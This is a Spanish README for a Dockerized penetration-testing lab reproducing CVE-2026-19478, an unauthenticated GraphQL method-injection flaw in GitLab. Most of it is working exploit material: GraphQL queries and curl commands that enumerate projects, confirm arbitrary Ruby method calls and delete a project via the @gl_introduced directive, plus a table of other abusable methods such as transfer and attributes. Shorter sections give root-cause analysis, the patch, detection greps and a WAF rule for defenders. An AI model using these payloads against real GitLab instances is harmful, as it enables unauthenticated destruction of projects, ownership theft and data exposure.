Laboratorio de exploit dockerizado y script para CVE-2026-19478, una inyección de código GraphQL crítica no autenticada en GitLab que permite llamadas arbitrarias a métodos Ruby, eliminación de proyectos y exfiltración de datos.
Inyección remota de código sin autenticación mediante directiva GraphQL en GitLab CE/EE — Eliminar cualquier proyecto público con una sola petición HTTP
Un laboratorio práctico de pruebas de penetración que reproduce CVE-2026-19478, una vulnerabilidad crítica (CVSS 9.4) en la API GraphQL de GitLab. La directiva @gl_introduced permite a atacantes no autenticados ejecutar métodos Ruby arbitrarios sobre objetos del lado del servidor — incluyendo la eliminación de proyectos, la exfiltración de datos y la transferencia de propiedad — sin necesidad de autenticación.
Este laboratorio ejecuta una instancia real y vulnerable de GitLab CE 19.2.0 en Docker para practicar la explotación de forma realista.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-19478 |
| Puntuación CVSS | 9.4 (Crítico) |
| Producto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo de vulnerabilidad | Inyección de código / Ejecución arbitraria de métodos (CWE-94) |
| Vector de ataque | Red (Remoto) |
| Autenticación | No requiere autenticación |
| Interacción del usuario | Ninguna |
| Complejidad del ataque | Baja |
| Versiones afectadas | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versiones parcheadas | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Descubierto por | hiimguardian (vía HackerOne) |
| Fecha del parche | 17 de agosto de 2026 |
Un atacante remoto no autenticado puede:
GitLab utiliza una directiva GraphQL personalizada @gl_introduced(version: "X.Y") para soportar despliegues continuos. Cuando una versión más reciente de GitLab añade un campo a la API GraphQL, las instancias más antiguas gestionan las consultas que hacen referencia a esos campos nuevos de forma elegante, devolviendo null en lugar de un error.
Archivo: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Líneas 14-36)
Desglose paso a paso:
FutureFieldFilter escanea las consultas GraphQL entrantes. Cuando un campo tiene @gl_introduced(version) con una versión más reciente que la del servidor actual, elimina el campo y establece context[:contain_future_fields] = true.
IntroducedTracer restaura el documento de consulta original en el momento de la ejecución, volviendo a colocar los campos eliminados en el AST.
FutureFieldFallback#get_field intercepta todas las búsquedas de campos durante la ejecución. Comprueba tres condiciones:
contain_future_fields? ✅__? ✅Cuando las tres comprobaciones se cumplen, sintetiza un nuevo GraphQL::Schema::Field sin clase de resolver.
En graphql-ruby, un campo sin resolver se resuelve llamando a object.public_send(field_name) sobre el objeto Ruby subyacente, convirtiendo el nombre de campo del atacante en una llamada a un método arbitrario en el modelo Project de ActiveRecord.
El parche de GitLab reemplaza el envío implícito de métodos por un NilResolver explícito que devuelve nil incondicionalmente, preservando la compatibilidad con los despliegues continuos y eliminando la ejecución arbitraria de métodos:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie para probar la API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Servicio | URL | Credenciales |
|---|---|---|
| Interfaz web de GitLab | http://localhost | root / P@ssw0rd123! |
| API GraphQL | http://localhost/api/graphql | Ninguna requerida |
| Explorador GraphQL | http://localhost/-/graphql-explorer | Requiere inicio de sesión |
| SSH | localhost:2222 | — |
Para máquinas con recursos limitados o para un inicio más rápido:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Verifica la versión del servidor:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Enumera los proyectos públicos mediante GraphQL (sin autenticación):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Descubre la directiva @gl_introduced mediante la introspección del esquema:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Usa @gl_introduced con una versión futura en un campo que no existe en el esquema:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Si es vulnerable, class devuelve el nombre de la clase Ruby ("Project"), lo que confirma el envío arbitrario de métodos.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
ADVERTENCIA: Lo siguiente eliminará permanentemente el proyecto.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Otros métodos explotables en el modelo Project de GitLab:
| Método | Impacto |
|---|---|
destroy | Elimina permanentemente el proyecto |
archive | Archiva el proyecto |
transfer | Transfiere la propiedad del proyecto |
attributes | Vuelca todos los atributos de la base de datos |
repository | Accede al objeto del repositorio |
members | Lista los miembros del proyecto |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indicador | Descripción |
|---|---|
@gl_introduced(version: "99.0") | Intento de explotación con una versión irrealmente alta |
Nombres de campo: destroy, delete, update, transfer | Apuntan a métodos destructivos de ActiveRecord |
| Eliminaciones inesperadas de proyectos | Proyectos que desaparecen sin acción de un administrador |
| Cambios de visibilidad | Proyectos públicos que de repente se vuelven privados |
| Transferencias de propiedad | Proyectos transferidos a usuarios desconocidos |
Bloquea las peticiones GraphQL que contengan @gl_introduced con números de versión altos:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced con cadenas de versión altas a nivel de proxy inverso/WAFEste laboratorio está creado exclusivamente para la educación en seguridad autorizada y la formación en pruebas de penetración. Solo debe utilizarse en entornos controlados y aislados que sean de tu propiedad o para los que dispongas de autorización escrita explícita para realizar pruebas.
No utilices las técnicas, herramientas o el código de exploit de este laboratorio contra ningún sistema sin la autorización adecuada. El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA) y las leyes equivalentes en todo el mundo.
Los autores y colaboradores no se hacen responsables de ningún uso indebido o daño causado por este laboratorio o su contenido.
Sigue a @pwnsystem en Instagram para obtener consejos diarios de ciberseguridad, análisis de CVE y guías de explotación.
Conecta con Punit Darji en LinkedIn para obtener información profesional sobre seguridad y novedades del laboratorio.